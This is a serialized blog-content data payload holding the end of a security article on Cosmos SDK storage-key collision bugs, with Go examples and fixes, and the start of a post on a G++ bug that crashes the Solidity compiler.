,{"type":23,"tag":504,"props":87541,"children":87542},{"style":511},[87543],{"type":28,"value":80669},{"type":23,"tag":504,"props":87545,"children":87546},{"style":523},[87547],{"type":28,"value":576},{"type":23,"tag":504,"props":87549,"children":87550},{"style":529},[87551],{"type":28,"value":82390},{"type":23,"tag":504,"props":87553,"children":87554},{"class":506,"line":1302},[87555],{"type":23,"tag":504,"props":87556,"children":87557},{"style":523},[87558],{"type":28,"value":1291},{"type":23,"tag":504,"props":87560,"children":87561},{"class":506,"line":1311},[87562],{"type":23,"tag":504,"props":87563,"children":87564},{"emptyLinePlaceholder":16},[87565],{"type":28,"value":1038},{"type":23,"tag":504,"props":87567,"children":87568},{"class":506,"line":1334},[87569,87574,87578,87582,87586,87590,87594,87598,87602,87606,87610,87614,87618,87622],{"type":23,"tag":504,"props":87570,"children":87571},{"style":529},[87572],{"type":28,"value":87573},"        positionName",{"type":23,"tag":504,"props":87575,"children":87576},{"style":598},[87577],{"type":28,"value":75167},{"type":23,"tag":504,"props":87579,"children":87580},{"style":517},[87581],{"type":28,"value":84315},{"type":23,"tag":504,"props":87583,"children":87584},{"style":523},[87585],{"type":28,"value":87405},{"type":23,"tag":504,"props":87587,"children":87588},{"style":1012},[87589],{"type":28,"value":83516},{"type":23,"tag":504,"props":87591,"children":87592},{"style":523},[87593],{"type":28,"value":576},{"type":23,"tag":504,"props":87595,"children":87596},{"style":529},[87597],{"type":28,"value":84388},{"type":23,"tag":504,"props":87599,"children":87600},{"style":523},[87601],{"type":28,"value":320},{"type":23,"tag":504,"props":87603,"children":87604},{"style":517},[87605],{"type":28,"value":87426},{"type":23,"tag":504,"props":87607,"children":87608},{"style":523},[87609],{"type":28,"value":526},{"type":23,"tag":504,"props":87611,"children":87612},{"style":529},[87613],{"type":28,"value":87435},{"type":23,"tag":504,"props":87615,"children":87616},{"style":523},[87617],{"type":28,"value":2711},{"type":23,"tag":504,"props":87619,"children":87620},{"style":1440},[87621],{"type":28,"value":2991},{"type":23,"tag":504,"props":87623,"children":87624},{"style":523},[87625],{"type":28,"value":87448},{"type":23,"tag":504,"props":87627,"children":87628},{"class":506,"line":1370},[87629,87633,87637,87641,87645,87649,87653,87657,87661,87665,87669,87673,87677,87681],{"type":23,"tag":504,"props":87630,"children":87631},{"style":529},[87632],{"type":28,"value":26728},{"type":23,"tag":504,"props":87634,"children":87635},{"style":523},[87636],{"type":28,"value":576},{"type":23,"tag":504,"props":87638,"children":87639},{"style":529},[87640],{"type":28,"value":47399},{"type":23,"tag":504,"props":87642,"children":87643},{"style":598},[87644],{"type":28,"value":75167},{"type":23,"tag":504,"props":87646,"children":87647},{"style":529},[87648],{"type":28,"value":87472},{"type":23,"tag":504,"props":87650,"children":87651},{"style":523},[87652],{"type":28,"value":320},{"type":23,"tag":504,"props":87654,"children":87655},{"style":517},[87656],{"type":28,"value":87481},{"type":23,"tag":504,"props":87658,"children":87659},{"style":523},[87660],{"type":28,"value":526},{"type":23,"tag":504,"props":87662,"children":87663},{"style":529},[87664],{"type":28,"value":84491},{"type":23,"tag":504,"props":87666,"children":87667},{"style":523},[87668],{"type":28,"value":576},{"type":23,"tag":504,"props":87670,"children":87671},{"style":529},[87672],{"type":28,"value":87435},{"type":23,"tag":504,"props":87674,"children":87675},{"style":523},[87676],{"type":28,"value":2711},{"type":23,"tag":504,"props":87678,"children":87679},{"style":1440},[87680],{"type":28,"value":2991},{"type":23,"tag":504,"props":87682,"children":87683},{"style":523},[87684],{"type":28,"value":54419},{"type":23,"tag":504,"props":87686,"children":87687},{"class":506,"line":1384},[87688,87692,87696,87700,87704],{"type":23,"tag":504,"props":87689,"children":87690},{"style":544},[87691],{"type":28,"value":2250},{"type":23,"tag":504,"props":87693,"children":87694},{"style":529},[87695],{"type":28,"value":47500},{"type":23,"tag":504,"props":87697,"children":87698},{"style":598},[87699],{"type":28,"value":63366},{"type":23,"tag":504,"props":87701,"children":87702},{"style":511},[87703],{"type":28,"value":80669},{"type":23,"tag":504,"props":87705,"children":87706},{"style":523},[87707],{"type":28,"value":552},{"type":23,"tag":504,"props":87709,"children":87710},{"class":506,"line":1392},[87711,87715,87719,87723],{"type":23,"tag":504,"props":87712,"children":87713},{"style":544},[87714],{"type":28,"value":77827},{"type":23,"tag":504,"props":87716,"children":87717},{"style":511},[87718],{"type":28,"value":80669},{"type":23,"tag":504,"props":87720,"children":87721},{"style":523},[87722],{"type":28,"value":576},{"type":23,"tag":504,"props":87724,"children":87725},{"style":529},[87726],{"type":28,"value":82390},{"type":23,"tag":504,"props":87728,"children":87729},{"class":506,"line":1400},[87730],{"type":23,"tag":504,"props":87731,"children":87732},{"style":523},[87733],{"type":28,"value":1291},{"type":23,"tag":504,"props":87735,"children":87736},{"class":506,"line":1422},[87737],{"type":23,"tag":504,"props":87738,"children":87739},{"emptyLinePlaceholder":16},[87740],{"type":28,"value":1038},{"type":23,"tag":504,"props":87742,"children":87743},{"class":506,"line":1450},[87744,87748,87752,87756,87760,87764,87769,87773,87777,87782,87786,87790],{"type":23,"tag":504,"props":87745,"children":87746},{"style":544},[87747],{"type":28,"value":2250},{"type":23,"tag":504,"props":87749,"children":87750},{"style":529},[87751],{"type":28,"value":61621},{"type":23,"tag":504,"props":87753,"children":87754},{"style":523},[87755],{"type":28,"value":576},{"type":23,"tag":504,"props":87757,"children":87758},{"style":529},[87759],{"type":28,"value":77518},{"type":23,"tag":504,"props":87761,"children":87762},{"style":598},[87763],{"type":28,"value":75167},{"type":23,"tag":504,"props":87765,"children":87766},{"style":529},[87767],{"type":28,"value":87768}," values",{"type":23,"tag":504,"props":87770,"children":87771},{"style":523},[87772],{"type":28,"value":2711},{"type":23,"tag":504,"props":87774,"children":87775},{"style":529},[87776],{"type":28,"value":84222},{"type":23,"tag":504,"props":87778,"children":87779},{"style":523},[87780],{"type":28,"value":87781},"]; ",{"type":23,"tag":504,"props":87783,"children":87784},{"style":598},[87785],{"type":28,"value":19603},{"type":23,"tag":504,"props":87787,"children":87788},{"style":529},[87789],{"type":28,"value":77518},{"type":23,"tag":504,"props":87791,"children":87792},{"style":523},[87793],{"type":28,"value":552},{"type":23,"tag":504,"props":87795,"children":87796},{"class":506,"line":1463},[87797,87802,87806,87810,87814,87818,87822,87826,87830,87834,87838],{"type":23,"tag":504,"props":87798,"children":87799},{"style":529},[87800],{"type":28,"value":87801},"            values",{"type":23,"tag":504,"props":87803,"children":87804},{"style":523},[87805],{"type":28,"value":2711},{"type":23,"tag":504,"props":87807,"children":87808},{"style":529},[87809],{"type":28,"value":84222},{"type":23,"tag":504,"props":87811,"children":87812},{"style":523},[87813],{"type":28,"value":595},{"type":23,"tag":504,"props":87815,"children":87816},{"style":598},[87817],{"type":28,"value":601},{"type":23,"tag":504,"props":87819,"children":87820},{"style":517},[87821],{"type":28,"value":84315},{"type":23,"tag":504,"props":87823,"children":87824},{"style":523},[87825],{"type":28,"value":526},{"type":23,"tag":504,"props":87827,"children":87828},{"style":511},[87829],{"type":28,"value":66082},{"type":23,"tag":504,"props":87831,"children":87832},{"style":523},[87833],{"type":28,"value":2711},{"type":23,"tag":504,"props":87835,"children":87836},{"style":1012},[87837],{"type":28,"value":83920},{"type":23,"tag":504,"props":87839,"children":87840},{"style":523},[87841],{"type":28,"value":54419},{"type":23,"tag":504,"props":87843,"children":87844},{"class":506,"line":1485},[87845],{"type":23,"tag":504,"props":87846,"children":87847},{"style":523},[87848],{"type":28,"value":1291},{"type":23,"tag":504,"props":87850,"children":87851},{"class":506,"line":1503},[87852],{"type":23,"tag":504,"props":87853,"children":87854},{"emptyLinePlaceholder":16},[87855],{"type":28,"value":1038},{"type":23,"tag":504,"props":87857,"children":87858},{"class":506,"line":1516},[87859,87864,87868,87872,87876,87880,87884,87888,87892],{"type":23,"tag":504,"props":87860,"children":87861},{"style":529},[87862],{"type":28,"value":87863},"        values",{"type":23,"tag":504,"props":87865,"children":87866},{"style":523},[87867],{"type":28,"value":2711},{"type":23,"tag":504,"props":87869,"children":87870},{"style":529},[87871],{"type":28,"value":84222},{"type":23,"tag":504,"props":87873,"children":87874},{"style":523},[87875],{"type":28,"value":47937},{"type":23,"tag":504,"props":87877,"children":87878},{"style":529},[87879],{"type":28,"value":84491},{"type":23,"tag":504,"props":87881,"children":87882},{"style":523},[87883],{"type":28,"value":595},{"type":23,"tag":504,"props":87885,"children":87886},{"style":598},[87887],{"type":28,"value":601},{"type":23,"tag":504,"props":87889,"children":87890},{"style":529},[87891],{"type":28,"value":6408},{"type":23,"tag":504,"props":87893,"children":87894},{"style":523},[87895],{"type":28,"value":552},{"type":23,"tag":504,"props":87897,"children":87898},{"class":506,"line":1543},[87899,87903,87907,87912,87916,87921],{"type":23,"tag":504,"props":87900,"children":87901},{"style":529},[87902],{"type":28,"value":25931},{"type":23,"tag":504,"props":87904,"children":87905},{"style":523},[87906],{"type":28,"value":14311},{"type":23,"tag":504,"props":87908,"children":87909},{"style":529},[87910],{"type":28,"value":87911},"iterator",{"type":23,"tag":504,"props":87913,"children":87914},{"style":523},[87915],{"type":28,"value":320},{"type":23,"tag":504,"props":87917,"children":87918},{"style":517},[87919],{"type":28,"value":87920},"Value",{"type":23,"tag":504,"props":87922,"children":87923},{"style":523},[87924],{"type":28,"value":2467},{"type":23,"tag":504,"props":87926,"children":87927},{"class":506,"line":1583},[87928],{"type":23,"tag":504,"props":87929,"children":87930},{"style":523},[87931],{"type":28,"value":1291},{"type":23,"tag":504,"props":87933,"children":87934},{"class":506,"line":1605},[87935],{"type":23,"tag":504,"props":87936,"children":87937},{"style":523},[87938],{"type":28,"value":875},{"type":23,"tag":504,"props":87940,"children":87941},{"class":506,"line":1614},[87942,87946],{"type":23,"tag":504,"props":87943,"children":87944},{"style":544},[87945],{"type":28,"value":15968},{"type":23,"tag":504,"props":87947,"children":87948},{"style":529},[87949],{"type":28,"value":87950}," values\n",{"type":23,"tag":504,"props":87952,"children":87953},{"class":506,"line":1627},[87954],{"type":23,"tag":504,"props":87955,"children":87956},{"style":523},[87957],{"type":28,"value":884},{"type":23,"tag":24,"props":87959,"children":87960},{},[87961,87963,87969,87970,87976,87978,87983,87985,87990,87992,87997,87999,88005,88007,88013],{"type":28,"value":87962},"By now, you may have already noticed that this implementation suffers from field malleability issues. Imagine a scenario where both ",{"type":23,"tag":56,"props":87964,"children":87966},{"className":87965},[],[87967],{"type":28,"value":87968},"vaultId = 1",{"type":28,"value":430},{"type":23,"tag":56,"props":87971,"children":87973},{"className":87972},[],[87974],{"type":28,"value":87975},"vaultId = 10",{"type":28,"value":87977}," coexist. If we try to fetch data under ",{"type":23,"tag":56,"props":87979,"children":87981},{"className":87980},[],[87982],{"type":28,"value":87968},{"type":28,"value":87984},", all entries under ",{"type":23,"tag":56,"props":87986,"children":87988},{"className":87987},[],[87989],{"type":28,"value":87975},{"type":28,"value":87991}," will also be returned simply because ",{"type":23,"tag":56,"props":87993,"children":87995},{"className":87994},[],[87996],{"type":28,"value":2991},{"type":28,"value":87998}," is a prefix of ",{"type":23,"tag":56,"props":88000,"children":88002},{"className":88001},[],[88003],{"type":28,"value":88004},"10",{"type":28,"value":88006},". To fix this, we must once again append the ",{"type":23,"tag":56,"props":88008,"children":88010},{"className":88009},[],[88011],{"type":28,"value":88012},"Separator",{"type":28,"value":88014}," to the iterator prefix.",{"type":23,"tag":494,"props":88016,"children":88018},{"code":88017,"language":74915,"meta":7,"className":74916,"style":7},"i := sdk.KVStorePrefixIterator(\n    kvStore,\n    fmt.Sprintf(\"%s%d%s\", PositionMapPrefix, vaultId, Seperator),\n)\n",[88019],{"type":23,"tag":56,"props":88020,"children":88021},{"__ignoreMap":7},[88022,88049,88061,88114],{"type":23,"tag":504,"props":88023,"children":88024},{"class":506,"line":507},[88025,88029,88033,88037,88041,88045],{"type":23,"tag":504,"props":88026,"children":88027},{"style":529},[88028],{"type":28,"value":2716},{"type":23,"tag":504,"props":88030,"children":88031},{"style":598},[88032],{"type":28,"value":75167},{"type":23,"tag":504,"props":88034,"children":88035},{"style":529},[88036],{"type":28,"value":77392},{"type":23,"tag":504,"props":88038,"children":88039},{"style":523},[88040],{"type":28,"value":320},{"type":23,"tag":504,"props":88042,"children":88043},{"style":517},[88044],{"type":28,"value":87207},{"type":23,"tag":504,"props":88046,"children":88047},{"style":523},[88048],{"type":28,"value":2439},{"type":23,"tag":504,"props":88050,"children":88051},{"class":506,"line":540},[88052,88057],{"type":23,"tag":504,"props":88053,"children":88054},{"style":529},[88055],{"type":28,"value":88056},"    kvStore",{"type":23,"tag":504,"props":88058,"children":88059},{"style":523},[88060],{"type":28,"value":2484},{"type":23,"tag":504,"props":88062,"children":88063},{"class":506,"line":555},[88064,88069,88073,88077,88081,88086,88090,88094,88098,88102,88106,88110],{"type":23,"tag":504,"props":88065,"children":88066},{"style":529},[88067],{"type":28,"value":88068},"    fmt",{"type":23,"tag":504,"props":88070,"children":88071},{"style":523},[88072],{"type":28,"value":320},{"type":23,"tag":504,"props":88074,"children":88075},{"style":517},[88076],{"type":28,"value":83974},{"type":23,"tag":504,"props":88078,"children":88079},{"style":523},[88080],{"type":28,"value":526},{"type":23,"tag":504,"props":88082,"children":88083},{"style":622},[88084],{"type":28,"value":88085},"\"%s%d%s\"",{"type":23,"tag":504,"props":88087,"children":88088},{"style":523},[88089],{"type":28,"value":576},{"type":23,"tag":504,"props":88091,"children":88092},{"style":529},[88093],{"type":28,"value":87257},{"type":23,"tag":504,"props":88095,"children":88096},{"style":523},[88097],{"type":28,"value":576},{"type":23,"tag":504,"props":88099,"children":88100},{"style":529},[88101],{"type":28,"value":87042},{"type":23,"tag":504,"props":88103,"children":88104},{"style":523},[88105],{"type":28,"value":576},{"type":23,"tag":504,"props":88107,"children":88108},{"style":529},[88109],{"type":28,"value":87373},{"type":23,"tag":504,"props":88111,"children":88112},{"style":523},[88113],{"type":28,"value":5720},{"type":23,"tag":504,"props":88115,"children":88116},{"class":506,"line":633},[88117],{"type":23,"tag":504,"props":88118,"children":88119},{"style":523},[88120],{"type":28,"value":1192},{"type":23,"tag":24,"props":88122,"children":88123},{},[88124,88126,88131],{"type":28,"value":88125},"At first, identifying these serialization issues may seem easy. Once data structures and ",{"type":23,"tag":56,"props":88127,"children":88129},{"className":88128},[],[88130],{"type":28,"value":83728},{"type":28,"value":88132}," usage grow increasingly more complex, developers can unintentionally overlook storage key parsing mistakes.",{"type":23,"tag":24,"props":88134,"children":88135},{},[88136],{"type":28,"value":88137},"Storage keys continue to be a tedious and persistent issue when building on Cosmos. It is crucial to approach development with awareness and care to prevent bugs from creeping into code.",{"type":23,"tag":82,"props":88139,"children":88141},{"id":88140},"real-world-examples-5",[88142],{"type":28,"value":75440},{"type":23,"tag":24,"props":88144,"children":88145},{},[88146,88147,88152,88154,88161,88163,88169],{"type":28,"value":15592},{"type":23,"tag":56,"props":88148,"children":88150},{"className":88149},[],[88151],{"type":28,"value":77213},{"type":28,"value":88153}," previously lacked protection against KVStore ",{"type":23,"tag":92,"props":88155,"children":88158},{"href":88156,"rel":88157},"https://github.com/cosmos/cosmos-sdk/pull/9363",[96],[88159],{"type":28,"value":88160},"key collisions",{"type":28,"value":88162},". This prior oversight allowed developers to unintentionally create two ",{"type":23,"tag":56,"props":88164,"children":88166},{"className":88165},[],[88167],{"type":28,"value":88168},"KVStores",{"type":28,"value":88170}," that were not independent of each other.",{"type":23,"tag":24,"props":88172,"children":88173},{},[88174],{"type":23,"tag":92,"props":88175,"children":88178},{"href":88176,"rel":88177},"https://github.com/cosmos/cosmos-sdk/blob/25bd118e4cc1d60ab2f9d2e0302d271416551aa9/types/store.go#L108",[96],[88179],{"type":28,"value":75490},{"type":23,"tag":494,"props":88181,"children":88183},{"code":88182,"language":74915,"meta":7,"className":74916,"style":7},"func NewKVStoreKeys(names ...string) map[string]*KVStoreKey {\n    keys := make(map[string]*KVStoreKey)\n    for _, name := range names {\n        keys[name] = NewKVStoreKey(name)\n    }\n\n    return keys\n}\n",[88184],{"type":23,"tag":56,"props":88185,"children":88186},{"__ignoreMap":7},[88187,88249,88297,88333,88373,88380,88387,88399],{"type":23,"tag":504,"props":88188,"children":88189},{"class":506,"line":507},[88190,88194,88199,88203,88208,88212,88216,88220,88224,88228,88232,88236,88240,88245],{"type":23,"tag":504,"props":88191,"children":88192},{"style":511},[88193],{"type":28,"value":75051},{"type":23,"tag":504,"props":88195,"children":88196},{"style":517},[88197],{"type":28,"value":88198}," NewKVStoreKeys",{"type":23,"tag":504,"props":88200,"children":88201},{"style":523},[88202],{"type":28,"value":526},{"type":23,"tag":504,"props":88204,"children":88205},{"style":529},[88206],{"type":28,"value":88207},"names",{"type":23,"tag":504,"props":88209,"children":88210},{"style":598},[88211],{"type":28,"value":24279},{"type":23,"tag":504,"props":88213,"children":88214},{"style":1012},[88215],{"type":28,"value":28648},{"type":23,"tag":504,"props":88217,"children":88218},{"style":523},[88219],{"type":28,"value":2064},{"type":23,"tag":504,"props":88221,"children":88222},{"style":511},[88223],{"type":28,"value":66082},{"type":23,"tag":504,"props":88225,"children":88226},{"style":523},[88227],{"type":28,"value":2711},{"type":23,"tag":504,"props":88229,"children":88230},{"style":1012},[88231],{"type":28,"value":28648},{"type":23,"tag":504,"props":88233,"children":88234},{"style":523},[88235],{"type":28,"value":14391},{"type":23,"tag":504,"props":88237,"children":88238},{"style":598},[88239],{"type":28,"value":3552},{"type":23,"tag":504,"props":88241,"children":88242},{"style":1012},[88243],{"type":28,"value":88244},"KVStoreKey",{"type":23,"tag":504,"props":88246,"children":88247},{"style":523},[88248],{"type":28,"value":552},{"type":23,"tag":504,"props":88250,"children":88251},{"class":506,"line":540},[88252,88257,88261,88265,88269,88273,88277,88281,88285,88289,88293],{"type":23,"tag":504,"props":88253,"children":88254},{"style":529},[88255],{"type":28,"value":88256},"    keys",{"type":23,"tag":504,"props":88258,"children":88259},{"style":598},[88260],{"type":28,"value":75167},{"type":23,"tag":504,"props":88262,"children":88263},{"style":517},[88264],{"type":28,"value":84315},{"type":23,"tag":504,"props":88266,"children":88267},{"style":523},[88268],{"type":28,"value":526},{"type":23,"tag":504,"props":88270,"children":88271},{"style":511},[88272],{"type":28,"value":66082},{"type":23,"tag":504,"props":88274,"children":88275},{"style":523},[88276],{"type":28,"value":2711},{"type":23,"tag":504,"props":88278,"children":88279},{"style":1012},[88280],{"type":28,"value":28648},{"type":23,"tag":504,"props":88282,"children":88283},{"style":523},[88284],{"type":28,"value":14391},{"type":23,"tag":504,"props":88286,"children":88287},{"style":598},[88288],{"type":28,"value":3552},{"type":23,"tag":504,"props":88290,"children":88291},{"style":1012},[88292],{"type":28,"value":88244},{"type":23,"tag":504,"props":88294,"children":88295},{"style":523},[88296],{"type":28,"value":1192},{"type":23,"tag":504,"props":88298,"children":88299},{"class":506,"line":555},[88300,88304,88308,88312,88316,88320,88324,88329],{"type":23,"tag":504,"props":88301,"children":88302},{"style":544},[88303],{"type":28,"value":2008},{"type":23,"tag":504,"props":88305,"children":88306},{"style":529},[88307],{"type":28,"value":2013},{"type":23,"tag":504,"props":88309,"children":88310},{"style":523},[88311],{"type":28,"value":576},{"type":23,"tag":504,"props":88313,"children":88314},{"style":529},[88315],{"type":28,"value":47477},{"type":23,"tag":504,"props":88317,"children":88318},{"style":598},[88319],{"type":28,"value":75167},{"type":23,"tag":504,"props":88321,"children":88322},{"style":544},[88323],{"type":28,"value":76150},{"type":23,"tag":504,"props":88325,"children":88326},{"style":529},[88327],{"type":28,"value":88328}," names",{"type":23,"tag":504,"props":88330,"children":88331},{"style":523},[88332],{"type":28,"value":552},{"type":23,"tag":504,"props":88334,"children":88335},{"class":506,"line":633},[88336,88340,88344,88348,88352,88356,88361,88365,88369],{"type":23,"tag":504,"props":88337,"children":88338},{"style":529},[88339],{"type":28,"value":24311},{"type":23,"tag":504,"props":88341,"children":88342},{"style":523},[88343],{"type":28,"value":2711},{"type":23,"tag":504,"props":88345,"children":88346},{"style":529},[88347],{"type":28,"value":47477},{"type":23,"tag":504,"props":88349,"children":88350},{"style":523},[88351],{"type":28,"value":595},{"type":23,"tag":504,"props":88353,"children":88354},{"style":598},[88355],{"type":28,"value":601},{"type":23,"tag":504,"props":88357,"children":88358},{"style":517},[88359],{"type":28,"value":88360}," NewKVStoreKey",{"type":23,"tag":504,"props":88362,"children":88363},{"style":523},[88364],{"type":28,"value":526},{"type":23,"tag":504,"props":88366,"children":88367},{"style":529},[88368],{"type":28,"value":47477},{"type":23,"tag":504,"props":88370,"children":88371},{"style":523},[88372],{"type":28,"value":1192},{"type":23,"tag":504,"props":88374,"children":88375},{"class":506,"line":687},[88376],{"type":23,"tag":504,"props":88377,"children":88378},{"style":523},[88379],{"type":28,"value":875},{"type":23,"tag":504,"props":88381,"children":88382},{"class":506,"line":736},[88383],{"type":23,"tag":504,"props":88384,"children":88385},{"emptyLinePlaceholder":16},[88386],{"type":28,"value":1038},{"type":23,"tag":504,"props":88388,"children":88389},{"class":506,"line":785},[88390,88394],{"type":23,"tag":504,"props":88391,"children":88392},{"style":544},[88393],{"type":28,"value":15968},{"type":23,"tag":504,"props":88395,"children":88396},{"style":529},[88397],{"type":28,"value":88398}," keys\n",{"type":23,"tag":504,"props":88400,"children":88401},{"class":506,"line":813},[88402],{"type":23,"tag":504,"props":88403,"children":88404},{"style":523},[88405],{"type":28,"value":884},{"type":23,"tag":24,"props":88407,"children":88408},{},[88409,88411,88416,88418,88423,88425,88430],{"type":28,"value":88410},"Thanks to the diligence of core developers, checks are now enforced and the ",{"type":23,"tag":56,"props":88412,"children":88414},{"className":88413},[],[88415],{"type":28,"value":77213},{"type":28,"value":88417}," will refuse to run if any ",{"type":23,"tag":56,"props":88419,"children":88421},{"className":88420},[],[88422],{"type":28,"value":83728},{"type":28,"value":88424}," keys are prefix of each other. This implementation alleviates developers from having to worry about key collisions on the ",{"type":23,"tag":56,"props":88426,"children":88428},{"className":88427},[],[88429],{"type":28,"value":83728},{"type":28,"value":88431}," level.",{"type":23,"tag":24,"props":88433,"children":88434},{},[88435,88437,88444],{"type":28,"value":88436},"Additional storage key issues like subtle bugs in the Cosmos-SDK have resulted in ",{"type":23,"tag":92,"props":88438,"children":88441},{"href":88439,"rel":88440},"https://github.com/cosmos/cosmos-sdk/issues/12661",[96],[88442],{"type":28,"value":88443},"incorrect iterator behavior",{"type":28,"value":320},{"type":23,"tag":24,"props":88446,"children":88447},{},[88448,88450,88457],{"type":28,"value":88449},"Notably, gradual adoption of the ",{"type":23,"tag":92,"props":88451,"children":88454},{"href":88452,"rel":88453},"https://github.com/cosmos/cosmos-sdk/tree/def657dafa615cb8e8bb072452663893157e073a/collections",[96],[88455],{"type":28,"value":88456},"collections",{"type":28,"value":88458}," storage helpers since Cosmos v0.50 has made it a lot more difficult to write buggy code. This demonstrates the importance of keeping up to date with the latest SDK development to leverage architectural security improvements.",{"type":23,"tag":70,"props":88460,"children":88461},{"id":1800},[88462],{"type":28,"value":1803},{"type":23,"tag":24,"props":88464,"children":88465},{},[88466],{"type":28,"value":88467},"The Cosmos SDK is a powerful tool for those who want to create custom blockchains. However, this flexibility brings about great responsibility. Developers must pay close attention to nuances, as these can expose a large number of potential attack surfaces.",{"type":23,"tag":24,"props":88469,"children":88470},{},[88471],{"type":28,"value":88472},"To recap, we discussed some of the more basic parts of Cosmos-SDK, showcasing common mistakes developers tend to make. Yet, it is important to note that we've only covered the tip of the iceberg. Other attack surfaces, such as authentications in relation to the IBC interface, are fundamentals absolutely worth looking into.",{"type":23,"tag":1815,"props":88474,"children":88475},{},[88476],{"type":28,"value":1819},{"title":7,"searchDepth":540,"depth":540,"links":88478},[88479,88480,88483,88486,88489,88492,88495,88498],{"id":27996,"depth":540,"text":27999},{"id":74632,"depth":540,"text":74635,"children":88481},[88482],{"id":75437,"depth":555,"text":75440},{"id":76033,"depth":540,"text":76036,"children":88484},[88485],{"id":76682,"depth":555,"text":75440},{"id":77179,"depth":540,"text":77182,"children":88487},[88488],{"id":78479,"depth":555,"text":75440},{"id":79823,"depth":540,"text":79826,"children":88490},[88491],{"id":80361,"depth":555,"text":75440},{"id":81880,"depth":540,"text":81883,"children":88493},[88494],{"id":82760,"depth":555,"text":75440},{"id":83714,"depth":540,"text":83717,"children":88496},[88497],{"id":88140,"depth":555,"text":75440},{"id":1800,"depth":540,"text":1803},"content:blog:2025-06-10-cosmos-security.md","blog/2025-06-10-cosmos-security.md","blog/2025-06-10-cosmos-security",{"_path":88503,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":88504,"description":88505,"author":88506,"image":88507,"date":88509,"tags":88510,"isFeatured":16,"onBlogPage":16,"body":88511,"_type":1838,"_id":91220,"_source":1840,"_file":91221,"_stem":91222,"_extension":1843},"/blog/2025-08-11-compiler-bug-causes-compiler-bug","Compiler Bug Causes Compiler Bug: How a 12-Year-Old G++ Bug Took Down Solidity","A subtle G++ bug from 2012, C++20's new comparison rules, and legacy Boost code can collide to crash Solidity's compiler on valid code. We unpack the surprising chain reaction and how to fix it.","kiprey",{"src":88508,"height":12604,"width":12604},"/posts/compiler-bug-causes-compiler-bug/title.png","2025-08-11",[3454,27991],{"type":20,"children":88512,"toc":91204},[88513,88518,88655,88660,88665,88670,88675,88788,88793,88798,88803,88843,88856,88861,88879,88884,88887,88893,88907,88920,88925,88938,88943,88955,88968,88973,88976,88982,88988,89045,89050,89056,89070,89105,89113,89121,89141,89147,89152,89592,89600,89644,89649,89657,89665,89704,89709,89717,89722,89725,89731,89737,89762,89774,89801,89834,89839,89842,89848,89867,90385,90398,90416,90439,90450,90455,90558,90563,90568,90582,90587,90663,90681,90686,90689,90695,90707,90719,91059,91064,91082,91087,91090,91096,91101,91119,91139,91142,91148,91167,91170,91174,91179,91190,91195,91200],{"type":23,"tag":24,"props":88514,"children":88515},{},[88516],{"type":28,"value":88517},"Compilers aren't supposed to crash — especially not when compiling perfectly valid code like this:",{"type":23,"tag":494,"props":88519,"children":88521},{"code":88520,"language":3454,"meta":7,"className":3455,"style":7},"// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.25;\n\ncontract A {\n    function a() public pure returns (uint256) {\n        return 1 ** 2;\n    }\n}\n",[88522],{"type":23,"tag":56,"props":88523,"children":88524},{"__ignoreMap":7},[88525,88533,88551,88558,88575,88617,88641,88648],{"type":23,"tag":504,"props":88526,"children":88527},{"class":506,"line":507},[88528],{"type":23,"tag":504,"props":88529,"children":88530},{"style":1106},[88531],{"type":28,"value":88532},"// SPDX-License-Identifier: UNLICENSED\n",{"type":23,"tag":504,"props":88534,"children":88535},{"class":506,"line":540},[88536,88541,88546],{"type":23,"tag":504,"props":88537,"children":88538},{"style":544},[88539],{"type":28,"value":88540},"pragma",{"type":23,"tag":504,"props":88542,"children":88543},{"style":511},[88544],{"type":28,"value":88545}," solidity",{"type":23,"tag":504,"props":88547,"children":88548},{"style":523},[88549],{"type":28,"value":88550}," ^0.8.25;\n",{"type":23,"tag":504,"props":88552,"children":88553},{"class":506,"line":555},[88554],{"type":23,"tag":504,"props":88555,"children":88556},{"emptyLinePlaceholder":16},[88557],{"type":28,"value":1038},{"type":23,"tag":504,"props":88559,"children":88560},{"class":506,"line":633},[88561,88566,88571],{"type":23,"tag":504,"props":88562,"children":88563},{"style":511},[88564],{"type":28,"value":88565},"contract",{"type":23,"tag":504,"props":88567,"children":88568},{"style":1012},[88569],{"type":28,"value":88570}," A",{"type":23,"tag":504,"props":88572,"children":88573},{"style":523},[88574],{"type":28,"value":552},{"type":23,"tag":504,"props":88576,"children":88577},{"class":506,"line":687},[88578,88583,88588,88592,88596,88601,88605,88609,88613],{"type":23,"tag":504,"props":88579,"children":88580},{"style":511},[88581],{"type":28,"value":88582},"    function",{"type":23,"tag":504,"props":88584,"children":88585},{"style":517},[88586],{"type":28,"value":88587}," a",{"type":23,"tag":504,"props":88589,"children":88590},{"style":523},[88591],{"type":28,"value":13024},{"type":23,"tag":504,"props":88593,"children":88594},{"style":511},[88595],{"type":28,"value":60654},{"type":23,"tag":504,"props":88597,"children":88598},{"style":511},[88599],{"type":28,"value":88600}," pure",{"type":23,"tag":504,"props":88602,"children":88603},{"style":544},[88604],{"type":28,"value":74744},{"type":23,"tag":504,"props":88606,"children":88607},{"style":523},[88608],{"type":28,"value":801},{"type":23,"tag":504,"props":88610,"children":88611},{"style":1012},[88612],{"type":28,"value":45147},{"type":23,"tag":504,"props":88614,"children":88615},{"style":523},[88616],{"type":28,"value":537},{"type":23,"tag":504,"props":88618,"children":88619},{"class":506,"line":736},[88620,88624,88628,88633,88637],{"type":23,"tag":504,"props":88621,"children":88622},{"style":544},[88623],{"type":28,"value":742},{"type":23,"tag":504,"props":88625,"children":88626},{"style":1440},[88627],{"type":28,"value":3504},{"type":23,"tag":504,"props":88629,"children":88630},{"style":598},[88631],{"type":28,"value":88632}," **",{"type":23,"tag":504,"props":88634,"children":88635},{"style":1440},[88636],{"type":28,"value":6917},{"type":23,"tag":504,"props":88638,"children":88639},{"style":523},[88640],{"type":28,"value":866},{"type":23,"tag":504,"props":88642,"children":88643},{"class":506,"line":785},[88644],{"type":23,"tag":504,"props":88645,"children":88646},{"style":523},[88647],{"type":28,"value":875},{"type":23,"tag":504,"props":88649,"children":88650},{"class":506,"line":813},[88651],{"type":23,"tag":504,"props":88652,"children":88653},{"style":523},[88654],{"type":28,"value":884},{"type":23,"tag":24,"props":88656,"children":88657},{},[88658],{"type":28,"value":88659},"Yet running Solidity's compiler (solc) on this file on a standard Ubuntu 22.04 system (G++ 11.4, Boost 1.74) causes an immediate segmentation fault.",{"type":23,"tag":24,"props":88661,"children":88662},{},[88663],{"type":28,"value":88664},"At first, this seemed absurd. The code just returns 1 to the power of 2 — no memory tricks, unsafe 